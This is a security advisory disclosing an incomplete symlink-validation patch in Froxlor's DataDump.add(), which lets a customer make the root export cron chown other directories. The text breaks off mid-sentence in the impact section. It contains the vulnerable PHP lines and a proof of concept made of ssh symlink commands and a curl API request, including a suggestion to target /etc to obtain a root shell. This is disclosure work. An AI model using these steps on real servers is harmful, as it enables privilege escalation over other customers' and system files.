Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron
Summary
DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.
Details
The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).
Every customer-facing API command that builds a path from user input passes this parameter:
```php
// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
```
But DataDump.add() was missed:
```php
// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
```
The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):
```php
Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);
```
When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:
```php
FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
```
The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.
The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.
PoC
Prerequisites:
system.exportenabled = 1 (admin setting)- Customer account with API key and FTP/SSH access
```bash
# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'
# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
-H "Content-Type: application/json" \
-d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
https://panel.example.com/api.php
# Expected response: 200 OK with task_data including destdir
# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
# mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists)
# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data)
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
# mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.
# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la /var/customers/webs/victim_customer/'
# All files now owned by attacker_customer UID
# For system-level escalation, the symlink can target /etc:
# ln -s /etc /var/customers/webs/attacker_customer/steal
# After cron: attacker owns /etc/passwd, /etc/shadow → root shell
```
Impact
- Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.
- Vertical privilege escalation: By targeting system directories (e.g.,
/etc), the customer can gain read/write access to /etc/passwd and /etc/shadow, enabling creation of a root account or password modification. - Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.
- Service disruption: Changing ownership of system directories can b
